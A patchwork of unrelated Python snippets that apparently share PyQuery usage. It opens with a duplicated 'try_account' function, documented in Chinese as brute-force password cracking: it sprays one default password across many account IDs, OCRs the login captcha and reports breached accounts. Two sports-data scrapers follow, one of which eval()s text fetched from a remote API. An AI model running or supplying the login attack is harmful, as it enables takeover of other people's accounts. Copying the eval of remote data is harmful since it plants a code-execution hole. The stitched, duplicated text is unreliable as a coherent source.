def try_account(id_list, default_pass): """ 暴力破解帐号密码 :param id_list:帐号列表 :param default_pass:默认密码 :return: """ for id_item in id_list: form_data['loginName'] = str(id_item) # 将用户名填入表单 form_data['password'] = default_pass # 将密码填入表单 code_img_name = get_code_img() code_str = code_img_to_string(code_img_name) form_data['verify'] = code_str # 验证码填入表单 result = login() # 登录,获取返回的 response 结果 print form_data err_msg = Pq(result).find( '.login_panel .ul_login li:eq(4) span').text() print err_msg.decode('utf-8') if err_msg == u'验证码错误': # 获取验证码重新登录 code_img_name = get_code_img() code_str = code_img_to_string(code_img_name) form_data['verify'] = code_str result = login() if err_msg == u'用户名或者密码错误': continue if err_msg is None: print '成功破解:' + str(id_item) + "\t" + result # 打印成功登录的帐号
def try_account(id_list, default_pass): """ 暴力破解帐号密码 :param id_list:帐号列表 :param default_pass:默认密码 :return: """ for id_item in id_list: form_data['loginName'] = str(id_item) # 将用户名填入表单 form_data['password'] = default_pass # 将密码填入表单 code_img_name = get_code_img() code_str = code_img_to_string(code_img_name) form_data['verify'] = code_str # 验证码填入表单 result = login() # 登录,获取返回的 response 结果 print form_data err_msg = Pq(result).find('.login_panel .ul_login li:eq(4) span').text() print err_msg.decode('utf-8') if err_msg == u'验证码错误': # 获取验证码重新登录 code_img_name = get_code_img() code_str = code_img_to_string(code_img_name) form_data['verify'] = code_str result = login() if err_msg == u'用户名或者密码错误': continue if err_msg is None: print '成功破解:' + str(id_item) + "\t" + result # 打印成功登录的帐号
def queryPlayer(self): url = "http://www.volleychina.org/team/w/" opener = self.getOpener(getPlayerDataThread.header) op = opener.open(url) data=op.read() data=PyQuery(data) #读取球队的id号以及球队名字 team=list() teamNum=data(".teamblock").length for i in range(teamNum): team.append( { #读取id号 "id":data(".teamblock:nth-child("+str(i+1)+")").attr("id"), #读取球队名 "name":data(".teamblock:nth-child("+str(i+1)+")").text() } ) #存入数据库中 src.database.clubDb.creatTeam(team[i]) #依次读取各个球队的队员信息 for index in(range(len(team))): #将位置转换为中文 def positionToZH(num): if num==1: return "主攻" if num==2: return "副攻" if num==3: return "接应" if num==4: return "二传" if num==5: return "自由人" #将取得的id号拼接为一个url url="http://cva.sports.sina.com.cn/api/player/getByTeamId?teamId="+str(team[index]["id"])+"&callback=drawit2&dpc=1" op=opener.open(url) data = op.read() data=data.decode("gbk") num=str.find(data,"data") #将字符串切分,方便处理为dict data=data[num+7:-17] data=str.split(data,"},") res=list() for index in range(len(data)-1): data[index]+="}" #转换为dict playerDict=eval(data[index]) #将位置号转化为中文 playerDict["position"]=positionToZH(int(playerDict["position"])) res.append(playerDict) src.database.playerDb.creatPlayer(playerDict)
def import_team(rootpage, session, event): """Imports multiple Players a time from a external Site. Currently only working with Transfermarkt.ch """ headers = {"User-agent": "Mozilla/5.0"} for page in rootpage: f = requests.get(page, headers=headers) nationpage = f.content nationpage = PyQuery(nationpage.decode("utf8")) content = nationpage("#main") nation_name = content(".box-header .spielername-profil").text() country_code = COUNTRY_CODE_MAPPING[nation_name] # Lookup nation nation = session.query(Nation).filter(Nation.country == country_code).first() # Create a new nation if we didn't find one if nation is None: nation = Nation(nation_name, event, country_code) nation.country = country_code session.add(nation) playertable = content("table.items") playerlist = playertable("tbody") for item in playerlist("tbody > tr"): name = PyQuery(item)(".hide-for-small a.spielprofil_tooltip").text() link = PyQuery(item)(".hide-for-small a.spielprofil_tooltip").attr("href") link = "http://www.transfermarkt.ch" + link f = requests.get(link, headers=headers) playerpage = f.content playerpage = PyQuery(playerpage.decode("utf8")) clubname = playerpage(".dataZusatzDaten .hauptpunkt .vereinprofil_tooltip").text() league = playerpage(".dataZusatzDaten .mediumpunkt a").text() data_items = playerpage(".dataContent p") player_props = dict( [ (k.text(), v.text()) for k, v in zip(data_items(".dataItem").items(), data_items(".dataValue").items()) ] ) img_src = playerpage(".dataBild img").attr("src") img = requests.get(img_src, headers=headers).content try: im = Image.open(StringIO.StringIO(img)) im.verify() except Exception: img = None # Conversions position = POSITION_MAPPING.get(player_props.get("Position:")) # Marktwert value_data = playerpage(".dataMarktwert").text() value = value_data.split()[0] multiplier = MULTIPLIER_MAPPING.get(value_data.split()[1], 1) if "," in value: value = int(value.split(",")[0]) * multiplier + int(value.split(",")[1]) * multiplier * 0.01 else: value = int(value) * multiplier size = player_props.get(u"Gr\xf6\xdfe:", "0.00").replace(",", ".") date_of_birth = date.fromtimestamp( time.mktime(time.strptime(player_props.get("Geb./Alter:").split()[0], "%d.%m.%Y")) ) # Lookup player player = session.query(Player).filter(Player.name == name and Player.nation_id == nation.id_).first() # Create a new player if we didn't find one. if player is None: player = Player(name, position, nation.id_, event) session.add(player) # Set/update player properties player.original_name = player_props.get("Name im Heimatland:") player.date_of_birth = date_of_birth player.age = int(player_props.get("Geb./Alter:").split()[1].strip("()")) # player.foot = player_props.get(u'Fu\xdf:') player.value = value player.size = size player.club = clubname player.league = league player.image = img